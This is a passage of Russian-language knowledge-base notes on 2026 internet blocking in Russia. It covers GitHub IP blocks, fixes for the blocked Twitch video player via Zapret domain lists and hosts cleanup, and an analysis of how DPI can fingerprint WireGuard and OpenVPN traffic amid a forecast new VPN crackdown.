соединение не открывается / рвётся. Это поведение **IP-блока** (точнее, блока соединения к конкретному адресу), а не DPI по содержимому: рвут не по имени сайта в ClientHello, а по адресу назначения. Поэтому подобрать рабочую стратегию Zapret здесь, как правило, **не выходит** — ломать DPI нечего, до сервера просто не дают достучаться. По сообщениям, ни одна стратегия Zapret 2 пока не подошла. > [!note] Почему «пинг есть, а сайт не грузится» > Пинг (ICMP) и трассировка проверяют, что пакеты **доходят до сети назначения**, но это другой тип трафика, чем ваш HTTPS. ТСПУ может пропускать ICMP и при этом дропать или ресетить именно TCP-соединение на 443 порт к этому адресу. Поэтому «пингуется» ≠ «работает»: блок висит на уровне TCP-сессии к IP, а не на маршруте. Та же логика, что в [[tspu-whitelist-cloudflare-june-2026#Как это чинить|разделе про определение типа блока]]. **Как обойти:** - [ ] Самое простое — **исключить проблемный IP на уровне DNS**: подменить адрес в [[Что такое файл hosts|hosts]] на другой рабочий IP того же ресурса (если он есть). - [ ] Либо **пустить ресурс через VPN/прокси** — для IP-блока это самый надёжный путь. В последнее время именно это всё чаще оказывается единственным решением, кроме VPN. > [!warning] У GitHub всего ~4 IP — манёвра мало > Все домены `*.githubusercontent.com` используют **ровно 4 адреса** (диапазон вида `185.199.108–111.133`), какой DNS ни возьми. Поэтому трюк «получить незаблокированный IP через другой DNS» здесь почти не помогает — вариантов всего четыре. Он работает только для ресурсов с **множеством** IP (см. ниже). Отсюда же резонный вопрос наблюдателей: если бы скачивание с GitHub хотели заблокировать целенаправленно, проще было бы закрыть все 4 адреса разом — а блокируют выборочно, что больше похоже на ошибку автоматики, чем на осмысленный запрет. ### Почему «половина адресов работает, половина — нет» и при чём тут DNS По наблюдениям, у ряда ресурсов **часть IP заблокирована, часть — работает**, и какой именно достанется — зависит от DNS-резолвера: - На DNS от Cloudflare «нерабочий» адрес выпадает **временами**; на DNS от Google — заметно **реже**, хотя оба anycast и адреса формально одни и те же. - Рабочая гипотеза сообщества: **ТСПУ блокируют преимущественно те IP, что отдают самые популярные DNS** (Cloudflare и Google). С менее популярным DNS/DoH выше шанс получить адрес, до которого у цензора «не дошли руки» — но **только если у ресурса много IP**, а не один-два. Это **догадка по косвенным признакам**, а не подтверждённый механизм; для ресурса с 3–4 адресами (как GitHub) выигрыша почти нет, и остаётся VPN/прокси. > [!note] Возможная причина: баг в «активном пробере» РКН > Часть таких блоков выглядит как сбой автоматики, а не осмысленный запрет. Пример: серверы обновлений игры osu! блокировались **постепенно, по одному с разрывом в недели**, и отличались между собой лишь IP-адресом и цифрой в домене — всё остальное идентично. Похоже, активный сканер-пробер ТСПУ из-за давнего бага помечает **совершенно обычные** IP как «запрещённые» (так же под раздачу в своё время попадали `win-rar.ru` и многие другие нейтральные сайты). Это объясняет, почему блок ложится на безобидную инфраструктуру и выглядит хаотично. Умышленную, целенаправленную блокировку при этом исключать нельзя — но как основное объяснение такой хаотичности она **маловероятна**: баг автоматики проще и лучше укладывается в картину. ### Последствия для инструментов разработчиков Блок раздачи с GitHub бьёт по программам, которые тянут оттуда обновления и данные, и экосистема под это подстраивается: - В панели **x-ui** (управление Xray) добавили возможность обновляться с GitHub через **свой локальный HTTP/SOCKS5-прокси**, а саму кнопку обновления сделали графической вместо консольной команды. - Отдельные администраторы раздают зависимостям обходные данные сами: например, с 8 мая 2026 один из пользователей ежедневно раздаёт **геобазы** (`geoip`/`geosite` для маршрутизации) на все российские серверы со своего сервера за рубежом, чтобы не зависеть от прямого доступа к GitHub. > [!quote] Наблюдение: бьёт по «своим», а не по цели > Закономерность, которую отмечают: чтобы просто работать (скачать образ, обновить инструмент, подтянуть зависимость), обычным разработчикам и пользователям теперь приходится **обходить блокировки**, — тогда как тем, против кого ограничения в теории направлены, обойти их куда проще, и часть из них ограничений даже не заметит. ## 📚 См. также - [[subnet-whitelist-blocking-2026|Блок подсетей Cloudflare и Amazon по белому списку]] — механизм: почему режут облака, а Discord и Twitch — жертвы по касательной - [[twitch-block-2026|Блокировка Twitch в России (2026)]] — почему не грузится плеер и как починить (история с апреля 2026) - [[zapret_not_working|Что делать, если Запрет не работает]] — общий чек-лист и стандартная процедура диагностики «не работает» - [[symptom-not-cause|Почему «не работает» — это симптом, а не причина]] — почему смена DPI ≠ поломка программы - [[desync|Техники дурения]] — механика `--lua-desync`: split, disorder, fake, смысл смещений (`sniext`, `midsld`, `endhost`) - [[ipset|Что такое ipset]] — как применять стратегию ко всему диапазону Cloudflare, а не к одному домену - [[Что такое файл hosts|Что такое файл hosts]] — подмена IP и разблокировка через hosts - [[hostlist|Хостлисты]] — какие домены отдавать на дурение, а какие убрать - [[VLESS/dpi-tls-june-2026|Как DPI «замораживает» VLESS+REALITY (июнь 2026)]] — близкое по времени ужесточение DPI против TLS-обходов - [[DPI/google-dns-8888-block-july-2026|Инцидент 3 июля 2026: блокировка 8.8.8.8]] — следующая волна: блок Google DNS по TCP (DoH/DoT) и массовый «отвал» VPN-клиентов --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/Zapret/tspu-whitelist-cloudflare-june-2026.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-06-23 tags: - dpi - rkn - twitch - amazon - zapret - troubleshooting link: https://twitch-check.rte.net.ru/ aliases: - Блокировка Twitch в России 2026 - Твич не работает - Twitch не грузит видео - Twitch плеер не грузится - Отвал Twitch РФ - Как починить Twitch в Запрете - ttvnw.net блок - cloudfront.hls.ttvnw.net --- # 🟣 Блокировка Twitch (Твич) в России (2026): почему не грузится плеер и как починить. *Не работает Твич заблокировали в РФ 23 июня 2026 года ошибка плеера запуска* > [!info] О чём заметка > Почему в России у Twitch **сайт и чат открываются, а видео-плеер не грузится**, и как это чинить через [[Zapret2|Zapret]]. История с Twitch тянется не один день: точечные отвалы шли ещё с весны 2026 и повторились на волне массовых сбоев [[tspu-whitelist-cloudflare-june-2026|23 июня 2026]], а 24 июня плеер упал снова. Здесь собраны хронология, причина (под удар попадает видеодомен Twitch на облачной подсети, а не сам Twitch) и систематизированные рабочие решения сообщества. Общий механизм «режут облака по белому списку, сервис — жертва по касательной» — в [[subnet-whitelist-blocking-2026|отдельной заметке]]. > [!warning] Статус: наблюдения сообщества, решения противоречивы > Ниже — сводка сообщений пользователей и обсуждений на GitHub (issue [Flowseal/zapret-discord-youtube #12708](https://github.com/Flowseal/zapret-discord-youtube/issues/12708) и др.), а не контролируемый замер. Рецепты у разных людей **расходятся** (кому-то помогает один домен, кому-то — список из десяти; одна и та же правка работает не на всех стратегиях), потому что ТСПУ настроены неравномерно по операторам и регионам, а ситуация меняется во времени. Пробуйте варианты по порядку и проверяйте у себя. ## TL;DR - Симптом-подпись: **сайт Twitch — ОК, чат — ОК, видео-стрим не грузится**. Значит, проблема в **домене раздачи видео** (`ttvnw.net` / `cloudfront.hls.ttvnw.net`), а не во всём Twitch. - Причина — под удар попал **видеодомен Twitch на Amazon/CloudFront** (а не Cloudflare и не сам Twitch). Скорее всего это **DPI-блок по видеодомену** (он лечится десинком — значит, это не чистый блок по IP), VPN чинит всё. - Базовое решение: **вернуть видеодомен Twitch из исключений в обрабатываемые** — удалить `ttvnw.net` из `list-exclude` и добавить его в `list-general` (или `list-general-user`), затем подобрать стратегию. - Точная рекомендация автора Zapret (Flowseal): из `list-exclude` убрать `ttvnw.net`, в `list-general`/`list-general-user` добавить `cloudfront.hls.ttvnw.net` — ломать только видеоподдомен, остальные не трогать. **Но** у части людей именно `cloudfront.hls.ttvnw.net` работает нестабильно, а простой `ttvnw.net` — лучше; пробуйте оба. - Не забудьте почистить `hosts` от старых строк со словом `twitch`. Тест плеера: [twitch-check.rte.net.ru](https://twitch-check.rte.net.ru/). ## Симптом: сайт и чат работают, а видео не грузится Характерная картина: `twitch.tv` открывается, чат идёт, но **плеер не запускает стрим** — крутится или сразу выдаёт ошибку. Это сразу указывает, что заблокирован не весь Twitch, а **отдельный домен раздачи видео** (HLS-сегменты идут с `ttvnw.net` / `cloudfront.hls.ttvnw.net` на инфраструктуре Amazon CloudFront). > [!note] Почему проверочные сайты врут «всё работает» > Тест-сайты вроде [twitch-check.rte.net.ru](https://twitch-check.rte.net.ru/) могут показывать, что Twitch доступен, хотя плеер у вас не грузит. Причина та же: проверяется основной домен `twitch.tv` (он-то работает), а сломан отдельный видеодомен. Поэтому ориентируйтесь не на «зелёный» статус чекера, а на то, грузится ли реальный стрим. Ещё одна частая деталь: **на телефоне, ТВ, PS4/PS5 Twitch работает, а на ПК в браузере — нет, в той же сети и у того же провайдера.** Похоже, под блок попали конкретные подсети, обслуживающие веб/ПК-клиент, тогда как мобильные/консольные клиенты ходят на другие адреса. ## Хронология: это тянется с конца апреля 2026 Twitch ломается не впервые — это повторяющаяся история, а 23 июня лишь её очередной виток: - **30 апреля 2026** — заметный отвал `twitch.tv` в РФ (issue [#12708](https://github.com/Flowseal/zapret-discord-youtube/issues/12708)), **вместе с Reddit** — вероятно, общая подсеть. Регионы: Москва, Казань, Самара, Дальний Восток; сообщали и о проблемах в других странах. Через VPN (в т.ч. с российских серверов) всё работало. - **Начало–середина мая 2026** — нестабильно: то чинилось само, то отваливалось снова. Один из пользователей: подключил у провайдера **статический «белый» IP** — Twitch и Reddit стали резолвиться и работать «через раз»; отключил — снова недоступны. Причём «именно в блоке, а не замедлены»: сайты даже не пытаются грузиться и сразу дают ошибку (в отличие от просто троттлящихся). - **10 мая 2026** — у части провайдеров Twitch заработал сам, без обхода. - **13 мая 2026** — у одного пользователя Reddit так и не восстановился, а Google начал периодически отваливаться; после звонка провайдеру с претензией в тот же вечер всё «магическим образом» ожило. Показательно: часть блокировок видна и разрешается на уровне конкретного провайдера, а состояние нестабильно. - **23 июня 2026** — на волне массовых сбоев (блок облачных подсетей) Twitch снова лёг; см. [[tspu-whitelist-cloudflare-june-2026|инцидент 23 июня 2026]]. - **24 июня 2026** — плеер Twitch упал **снова** (подтверждено на MTS и др., версия `ALT11`). Правка списков «в лоб» помогала не всем: у части людей ни `list-exclude`, ни `list-general` не спасали, «плеер просто умер», и сработало именно добавление `cloudfront.hls.ttvnw.net` в `list-general` (на `ALT11`). При этом, например, Москва–Ростелеком работала без проблем — ещё одно подтверждение, что доступность зависит от оператора и региона, а не от самого Twitch. > [!note] Twitch — не одинокий случай > В тот же период по сообщениям отваливались и другие ресурсы на «неудачных» подсетях — **Reddit** (та же волна, что Twitch), а раньше, весной 2026, — Twitter/X, SoundCloud и `openstreetmap.org` (март — начало апреля), пока YouTube с Discord «работали через раз». Это укладывается в общую картину блокировки облачных диапазонов, а не отдельных сервисов. ## Почему это происходит: DPI-блок видеодомена Twitch (на подсети Amazon) Видео Twitch раздаётся с Amazon CloudFront, поэтому под удар попадает именно домен раздачи видео (`ttvnw.net` / `cloudfront.hls.ttvnw.net`), а сайт и чат остаются доступны. Несколько уточнений из наблюдений: - По мнению ряда пользователей, это **не связано с Cloudflare** напрямую (жалобы только из РФ, VPN всё чинит) — бьёт по инфраструктуре видео Twitch на Amazon, а не по CF. - **Скорее всего это блок на уровне DPI по видеодомену, а не блок по IP.** Решающий довод: проблема **лечится десинком** — стоит вернуть видеодомен из исключений в обработку и подобрать стратегию, как плеер оживает. Если бы резали сам IP/подсеть, никакой Zapret бы не помог. > [!note] Почему это, видимо, не чистый IP-блок > Блок по IP выглядит иначе: соединение к адресу **не открывается вообще**, и desync против него бессилен. К тому же чистый блок по IP в последнее время **стараются избегать** — у блокировки целой подсети слишком большой сопутствующий ущерб (вместе с целью ложатся тысячи посторонних ресурсов на том же облаке). Отдельные наблюдения (помогал «белый» статический IP, ресурс «сразу выдаёт ошибку») могут говорить о том, что часть адресов всё же замедляют или режут на сетевом уровне, — но раз видеодомен возвращается к жизни десинком, основной рубеж здесь именно DPI по имени (SNI), а не адресный блок. > [!important] Это блокировка со стороны ТСПУ, а не «упали серверы» > Частое объяснение-отмазка во время таких сбоев — «это Cloudflare/серверы Twitch легли». Технически это опровергается: если бы лежали серверы, Twitch не работал бы **ни у кого** и нигде. Но он работает у части пользователей (другие операторы и регионы) и **оживает, как только убрать домены Twitch из исключений Zapret** и применить десинк. Раз соединение восстанавливается локальным вмешательством в трафик на вашей стороне, рубит его **ТСПУ на пути**, а не сервер на том конце. Дополнительная путаница: в те дни всплывала новость, что «лёг Cloudflare», но видео Twitch раздаётся с **Amazon CloudFront**, а не с Cloudflare — это разные провайдеры, и одно к другому отношения не имеет. Официально РКН проблему со своей стороны отрицал. Версии, что так «обкатывают методы блокировок впрок», остаются **догадками**; но сам факт, что блок снимается десинком, указывает на сетевую фильтрацию, а не на аварию сервиса. Общий механизм (почему страдают сервисы на облаках и почему это «белый список», а не «чёрный») разобран в [[subnet-whitelist-blocking-2026|Блок подсетей Cloudflare и Amazon по белому списку]]. > [!tip] Любопытный нюанс: сам `twitch.tv` — в белом списке ТСПУ > По наблюдениям, домен `twitch.tv` находится **в белом списке** на ТСПУ и даже **снимает «16к-блок»** — то есть его можно использовать как «хороший» SNI-фейк, которым прикрывают обход (как `stackoverflow.org` в других рецептах). Поэтому ломать сам `twitch.tv`, как правило, **не нужно** — рабочий разрешённый домен ценнее как фейк; чинить надо именно видеодомен `ttvnw.net`. ## Решение: вернуть видеодомен Twitch в обрабатываемые списки Логика всех рабочих рецептов одна: **видеодомен Twitch лежит в списке-исключении** (`list-exclude` — домены, которые Zapret пропускает без обработки), поэтому к нему не применяется дурение. Нужно убрать его из исключений и добавить в обрабатываемый общий список (`list-general` / `list-general-user`), после чего подобрать стратегию. ### Вариант 1 (минимальный, многим хватает) 1. В `list-exclude` (или `list-exclude-user.txt`) **найти и удалить** строку `ttvnw.net`. 2. Добавить `ttvnw.net` в `list-general` (или `list-general-user`). 3. Перебрать стратегию (см. ниже). Многим хватает только `ttvnw.net`; некоторым нужно так же перенести `live-video.net` и `twitch.tv`. ### Вариант 2 (точная рекомендация Flowseal, автора сборки) Из `list-exclude` удалить `ttvnw.net`; в `list-general`/`list-general-user` добавить **`cloudfront.hls.ttvnw.net`**. Обоснование автора: ломать нужно **только** HLS-видеоподдомен, «остальные поддомены работают, смысла их ломать нет». > [!warning] Вариант 2 у части людей работает хуже > Несколько пользователей отмечают: с `cloudfront.hls.ttvnw.net` плеер запускается **нестабильно** — зависает, долго грузит или не грузит вовсе; а с простым `ttvnw.net` стартует моментально (видимо, плееру нужны и другие поддомены `ttvnw.net`). Ещё один прямо написал, что заменил `ttvnw.net` на `cloudfront.hls.ttvnw.net` — перестало работать, вернул `ttvnw.net` — заработало. **Вывод: начните с `ttvnw.net` (Вариант 1); если стабильно плохо — попробуйте вариант Flowseal, и наоборот.** ### Вариант 3 (расширенный список, для упорных случаев) Если плеер всё равно не грузит, в `list-general.txt` добавляют расширенный набор доменов Twitch и его зависимостей, а фильтр ставят на `none`: ``` twitchcdn.net twitch.tv ext-twitch.tv assets.twitch.tv scorecardresearch.com live-video.net gstatic.com jtvnw.net amazon-adsystem.com cloudfront.net ttvnw.net ``` И **из `list-exclude` удаляют всё, что связано с Twitch**. (Помните про нюанс выше: `twitch.tv` сам по себе разрешён и к плееру отношения не имеет — его можно и не трогать.) ### Обязательно: почистить `hosts` Старые ручные перенаправления Twitch мешают любым стратегиям. Откройте `C:\Windows\System32\drivers\etc\hosts` и **удалите все строки со словом `twitch`** (и привязки видеодоменов к конкретному IP, например `87.228.47.195 usher.ttvnw.net`). То же самое проверьте в `list-exclude`/`list-general`, чтобы домен не сидел одновременно в двух списках. После правок перезапустите браузер. ### Подбор стратегии Правки списков сами по себе не лечат — к возвращённому домену ещё нужна рабочая [[desync|стратегия дурения]], и она **зависит от вашего ТСПУ**: - `ttvnw.net` «убирается простым мультидизом, как и домены YouTube» — то есть `multidisorder`/`multisplit` по нескольким смещениям ClientHello (см. [[desync|Техники дурения]]). - По сообщениям, у разных людей сработали разные стратегии: `Simple Fake` (а `ALT TLS` — нет), `ALT11`. Универсальной нет — перебирайте. - В графическом интерфейсе этого vault фильтр Twitch уже есть **отдельным профилем** (категория «Сайты»): найдите его на вкладке «Профили пресета» (поиск по `tw`) и перебирайте стратегию у него. ![[twitch-profile-gui.png]] Редактор hosts в GUI (там же Twitch включается/выключается — убедитесь, что не осталось лишних перенаправлений): ![[twitch-hosts-editor.png]] ## Тест и проверка - Плеер-чекер: [twitch-check.rte.net.ru](https://twitch-check.rte.net.ru/) — но помните, он проверяет основной домен и может показывать «работает», когда плеер не грузит. Главный критерий — запускается ли реальный стрим. - Если на телефоне/ТВ работает, а на ПК нет — это не ваша ошибка настройки, а разные подсети; чинить нужно именно ПК-клиент способами выше или через VPN. ## 📚 См. также - [[tspu-whitelist-cloudflare-june-2026|Инцидент 23 июня 2026]] — массовая волна сбоев, частью которой стал очередной отвал Twitch - [[subnet-whitelist-blocking-2026|Блок подсетей Cloudflare и Amazon по белому списку]] — почему страдают сервисы на облаках, а не они сами - [[zapret_not_working|Что делать, если Запрет не работает]] — общая диагностика и подбор стратегии - [[desync|Техники дурения]] — стратегии `--lua-desync` (multidisorder, fake), которыми возвращают доступ - [[hostlist|Хостлисты]] — устройство списков, какие домены отдавать на обработку - [[Что такое файл hosts|Что такое файл hosts]] — как чистить hosts от старых перенаправлений - 🔗 [issue Flowseal/zapret-discord-youtube #12708](https://github.com/Flowseal/zapret-discord-youtube/issues/12708) — обсуждение отвала Twitch и решений --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/Zapret/twitch-block-2026.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-20 fact_checked: 2026-07-20 tags: - vpn - dpi - tspu - rkn - traffic-analysis - fingerprinting - throttling - censorship - forecast aliases: - Стабилизация VPN временная - Новая волна блокировок VPN 2026 - Прогноз Щербакова о VPN - Удушение качества VPN - Блокировка VPN по таймингам link: https://www.gazeta.ru/social/news/2026/07/19/28927375.shtml --- # «Стабилизация временная»: насколько реален прогноз новой волны блокировок VPN > [!info] О чём статья > 19 июля 2026 года технический директор «Стахановца» Сергей Щербаков предположил, что относительная стабильность VPN (Virtual Private Network, «виртуальная частная сеть») закончится новой волной ограничений в конце лета или начале осени. Ниже этот прогноз разобран по слоям: что подтверждают спецификации и исследования, что наблюдали в российских сетях, а что пока остается экспертной гипотезой без опубликованного календаря Роскомнадзора. ## TL;DR - **Техническая часть прогноза реалистична:** WireGuard и OpenVPN оставляют сигнатуры, а вложенные туннели TLS (Transport Layer Security) можно классифицировать по размерам, направлениям и таймингам пакетов без расшифровки содержимого. - **Селективное ухудшение уже наблюдалось:** полевые тесты 2025–2026 годов описывали заморозку после порога пакетов и временные ограничения после серии параллельных TLS-соединений. Это наблюдения исследователей, а не опубликованные правила технических средств противодействия угрозам (ТСПУ). - **Инфраструктура для усложнения анализа расширяется:** закон требует от операторов пропускать трафик через ТСПУ, а опубликованные в 2026 году планы связывают автоматизированную систему обеспечения безопасности российского сегмента интернета (АСБИ) с обработкой всего трафика Рунета и ростом мощности до 2030 года. - **Срок не подтвержден:** версия о сборе статистики в июле и новой волне в августе–октябре 2026 года принадлежит Щербакову. Публичного графика РКН нет. - **Наблюдения первой половины 2026 года указывают на неодновременный сценарий:** с мая по июль зафиксирована серия непохожих друг на друга эпизодов — от прицельной фильтрации протоколов до сбоев «белых списков» и блокировки публичного DNS. Новые правила появляются по операторам, регионам и группам адресов, затем ослабляются после сопутствующего ущерба. Один общероссийский «рубильник» для всех VPN менее вероятен, чем серия неравномерных волн. Индикатор VPN-клиента показывает успешное подключение, переключатель загорается зеленым, но страницы в браузере зависают, изображения не отображаются, а передача файлов останавливается. Пользователь списывает это на сбой провайдера, слабый сигнал или перегруженный сервер. Между тем фильтрация может выглядеть именно так: оборудование ТСПУ (технические средства противодействия угрозам), использующее глубокий анализ трафика (DPI, Deep Packet Inspection), пропускает первоначальное рукопожатие, позволяет приложению установить связь, а затем начинает отбрасывать пакеты. Сценарий ухудшения качества вместо полного разрыва описал технический директор компании «Стахановец» Сергей Щербаков в беседе с [«Газетой.Ru»](https://www.gazeta.ru/social/news/2026/07/19/28927375.shtml) 19 июля 2026 года. По его оценке, период относительной стабильности может смениться новой волной ограничений в конце лета или начале осени 2026 года. Исследования и код открытых анализаторов подтверждают техническую возможность распознавать зашифрованные туннели, а полевые измерения документируют отдельные способы их заморозки и замедления. Версия о том, что регулятор уже собирает статистику для осенних блокировок, остается предположением эксперта. > [!warning] Ограничения фактчека > РКН и операторы связи не публиковали графиков обновления ТСПУ на конец лета или осень 2026 года. Приведенные ниже пороговые значения фильтрации получены в полевых тестах, поэтому они могут различаться в зависимости от оператора, региона и даты наблюдения. ## Четыре уровня уверенности | Утверждение | Статус на 20 июля 2026 года | На чём основано | |---|---|---| | WireGuard и OpenVPN можно распознавать без расшифровки трафика | Хорошо подтверждено | Спецификации протоколов, исходный код nDPI, исследование OpenVPN на сети провайдера | | Зашифрованные туннели можно искать по таймингам и направлениям пакетов | Подтверждена техническая осуществимость | USENIX Security 2024: пассивный классификатор на 110 млн потоков в сети американского провайдера | | В российских сетях применялись пороги по числу пакетов и частоте TLS-соединений | Подтверждено полевыми наблюдениями, но не официальной документацией | net4people, июнь 2025; воспроизводимый тест Петра Осетрова, июнь 2026 | | Июльское затишье нужно для сбора статистики, а новая волна начнется в конце лета или начале осени | Прогноз одного эксперта | Публикация «Газеты.Ru» от 19 июля 2026 года; независимых подтверждений календаря нет | Открытый классификатор nDPI доказывает, что сигнатурный детект можно реализовать в программном коде, но не подтверждает использование именно этого кода в ТСПУ. По той же причине академическая точность детектора не равна точности национальной системы фильтрации: отличаются оборудование, набор трафика, бюджет вычислений и допустимый уровень сопутствующего ущерба. ## За ширмой шифрования Даже стойкое шифрование защищает только полезную нагрузку пакетов, оставляя видимой саму форму сетевого потока. Сетевой анализатор фиксирует IP-адрес сервера, тип транспорта, направление движения пакетов, их точный размер и время прохождения. Для идентификации туннеля фильтрам не нужно дешифровать данные, им достаточно сопоставить внешние метрики сессии с известными признаками протоколов. Например, WireGuard обнаруживает себя из-за фиксированной структуры служебных сообщений. Этот протокол создавали для производительности и безопасности, а не для маскировки под обычный веб-трафик, поэтому первые UDP-пакеты сессии имеют строго определенный формат, задокументированный в [официальной спецификации](https://www.wireguard.com/protocol/) и [исходном коде ядра Linux](https://git.zx2c4.com/wireguard-linux/tree/drivers/net/wireguard/messages.h). | Сообщение WireGuard | Направление | Первые четыре байта | Размер UDP-payload | |---|---|---:|---:| | Handshake Initiation | клиент → сервер | `01 00 00 00` | 148 байт | | Handshake Response | сервер → клиент | `02 00 00 00` | 92 байта | | Cookie Reply | сервер → клиент | `03 00 00 00` | 64 байта | | Transport Data | в обе стороны | `04 00 00 00` | от 32 байт | Каждое сообщение начинается с типа пакета и трех резервных нулевых байтов. Запрос на установку связи содержит `sender_index`, а ответ возвращает сопоставленный с ним `receiver_index`. Сетевой фильтр может сверить эту последовательность: если за пакетом типа 01 размером 148 байт возвращается пакет типа 02 размером 92 байта с согласованными индексами, поток приобретает характерный профиль WireGuard. Случайные UDP-пакеты могут совпасть по размеру, но они не воспроизводят логику взаимного обмена. Этот принцип использует классификатор открытой библиотеки [nDPI](https://github.com/ntop/nDPI/blob/dev/src/lib/protocols/wireguard.c), проверяя заголовки, фиксированные длины сообщений и соответствие индексов. Смена стандартного порта 51820 на UDP-порты 80 или 443 помогает лишь против простейшей блокировки по номеру порта: структура WireGuard не меняется. При этом сам порт ничего не доказывает, поскольку легитимный QUIC тоже работает поверх UDP/443; DPI приходится сопоставлять весь профиль потока с ожидаемым протоколом. Для изменения формы потока разработчики используют обфускацию трафика. В версии 2.0 протокола [AmneziaWG](https://docs.amnezia.org/ru/documentation/amnezia-wg/) применяются настраиваемые значения заголовков, мусорные префиксы к пакетам и отправка маскировочных пакетов перед установкой связи. Это нарушает поиск по жестким сигнатурам длин 148 и 92 байта. Тем не менее у туннеля остаются поведенческие маркеры, включая длительные UDP-сессии, регулярные пакеты поддержания соединения и распределение размеров данных. Поэтому обфускация переводит задачу распознавания с сигнатурного анализа на статистический. Смена порта работает только против правила, которое учитывает сам номер порта или ограничивает анализ выбранным диапазоном. Если классификатор уже проверяет структуру рукопожатия WireGuard, перенос с UDP/51820 на UDP/443 или UDP/80 не меняет первые байты и длины сообщений. Совет «поменять 443 на 80» из исходной публикации может помочь в отдельной сети и в конкретный день, но не является универсальной контрмерой. ## Структурные маркеры OpenVPN Протокол OpenVPN имеет собственный узнаваемый профиль. В режиме TLS первый байт пакета делится на два поля: пять старших бит кодируют операцию (`opcode`), три младших — идентификатор ключа (`key_id`). Первое клиентское сообщение V2 с `opcode 7` и `key_id 0` начинается с `0x38`, а серверный сброс с `opcode 8` — с `0x40`. Управляющие пакеты содержат видимый 64-битный `session_id`, а при работе поверх TCP перед каждым пакетом добавляется двухбайтовое поле длины. Эти особенности зафиксированы в [сетевой спецификации OpenVPN](https://build.openvpn.net/doxygen/network_protocol.html). Детектор nDPI собирает цепочку параметров, отслеживая чередование кодов операций, постоянный идентификатор сессии и длину ответов; этот алгоритм реализован в [диссекторе OpenVPN библиотеки nDPI](https://github.com/ntop/nDPI/blob/dev/src/lib/protocols/openvpn.c). Опции `tls-auth` и `tls-crypt` усложняют сигнатурный анализ управляющего канала, однако комбинированные детекторы учитывают также распределение длин и реакцию сервера на проверочные запросы (active probing). В 2022 году авторы исследования [OpenVPN is Open to VPN Fingerprinting](https://www.usenix.org/conference/usenixsecurity22/presentation/xue-diwen) на конференции USENIX Security проверили эффективность комбинированного анализа. Экспериментальный детектор в сети крупного провайдера распознал 85,9% тестовых сессий классического OpenVPN, определив 1718 из 2000 потоков в 39 из 40 различных конфигураций. Обфусцированные варианты определились в 34 из 41 конфигурации при минимальном количестве ложных срабатываний. Эти результаты зависят от структуры сети, но они показывают, что шифрование полезной нагрузки не скрывает сам факт работы протокола OpenVPN. ## Распознавание еще не означает блокировку Путь от подозрительного пакета до неработающего VPN в [[DPI/dpi-analysis-pipeline|конвейере DPI]] состоит как минимум из трёх стадий. Сначала классификатор присваивает потоку метку и степень уверенности: например, «похож на WireGuard». Затем политика решает, достаточно ли этой уверенности для действия и нужны ли дополнительные признаки, такие как подсеть дата-центра, частота соединений или результат активного зондирования. Только после этого модуль воздействия выбирает реакцию: пропуск, замедление, отбрасывание пакетов, временную заморозку или блокировку адреса. Такое разделение объясняет, почему один и тот же протокол работает у одного оператора и перестает работать у другого. Операторы могут использовать разные версии оборудования и топологию включения ТСПУ, а централизованное правило можно раскатывать постепенно. Даже внутри одной сети политика способна затрагивать только часть адресов, протоколов или периодов пиковой нагрузки. Проще говоря: наличие сигнатуры отвечает на вопрос «можно ли узнать протокол», но не на вопросы «применяет ли ТСПУ этот детектор» и «какое действие последует после совпадения». Прогноз Щербакова относится прежде всего к третьей стадии: вместо явного разрыва выбранный поток можно сделать медленным и нестабильным. ## Запоминание сессий Быстрый поиск сигнатур в рамках одного пакета не требует много ресурсов от сетевого оборудования. Сложнее устроен поведенческий анализ, отслеживающий историю сессий абонента, интервалы времени и частоту новых подключений. Полевые тесты показывают поведение систем фильтрации, совместимое с хранением состояния соединений. В июне 2026 года Пётр Осетров опубликовал на [Хабре](https://habr.com/ru/articles/1044396/) разбор блокировок, использующих поведенческие критерии; тот же июньский эпизод со стороны обходных средств подробно разобран в заметке [[VLESS/dpi-tls-june-2026|о «заморозке» VLESS+REALITY]]. Фильтр активировался при совпадении целевой подсети, отпечатка TLS ClientHello, поля SNI (Server Name Indication, имя запрашиваемого сайта в TLS) и высокой частоты запросов. Во время тестов три профиля браузера Chrome, одновременно открывавшие TLS-соединения к серверу FirstVDS, успешно получали ответ ServerHello, но при добавлении четвертого профиля соединения уходили в тайм-аут. По модели автора, триггером служили более трёх параллельных попыток установить TLS-соединение к одному SNI с интервалами менее примерно 350–400 миллисекунд; счетчик учитывал события в окне последних 60 секунд. После срабатывания новые попытки подключения замораживались примерно на две минуты. Для восстановления доступа автору приходилось менять имя хоста в поле SNI или ждать окончания двухминутного окна. Первоначально он также наблюдал дополнительную заморозку на 600 секунд при смене TLS-отпечатка после срабатывания, но в обновлении от 16 июня 2026 года отметил, что этот длинный штраф, вероятно, убрали. Изменение параметров за несколько дней показывает, почему полевой тест нельзя превращать в постоянную спецификацию ТСПУ. Простые программы обхода без мультиплексирования при открытии страницы создают десятки новых TCP- и TLS-рукопожатий, тогда как HTTP/2 и HTTP/3 позволяют передавать множество запросов внутри одной долгой сессии. Шквал коротких хэндшейков еще не доказывает использование VPN, однако в сочетании с подсетью, SNI и отпечатком ClientHello становится дополнительным признаком. ## Негласный лимит на объем данных Технические средства могут воздействовать на сетевые сессии незаметно, избегая явного обрыва связи. При таком подходе рукопожатие завершается, клиент сообщает об успешном подключении, но последующая передача данных останавливается. Устройство пользователя многократно пытается отправить пакеты повторно (TCP retransmissions), превышает время ожидания и закрывает соединение. В обсуждениях сообщества net4people зафиксировано подобное поведение под индексами [tcp 16-20 и l4-25](https://github.com/net4people/bbs/issues/490). Исследователи отметили остановку TCP-потоков после передачи первых 15–20 килобайт данных. Фильтр пропускал первые 25 пакетов (около 16 КБ полезной нагрузки) в любую сторону, после чего полностью блокировал трафик в рамках этого соединения. Короткие текстовые запросы успешно укладываются в этот лимит, но загрузка крупных файлов прекращается. Попытка делить файлы на фрагменты менее 16 КБ требует создания тысяч новых 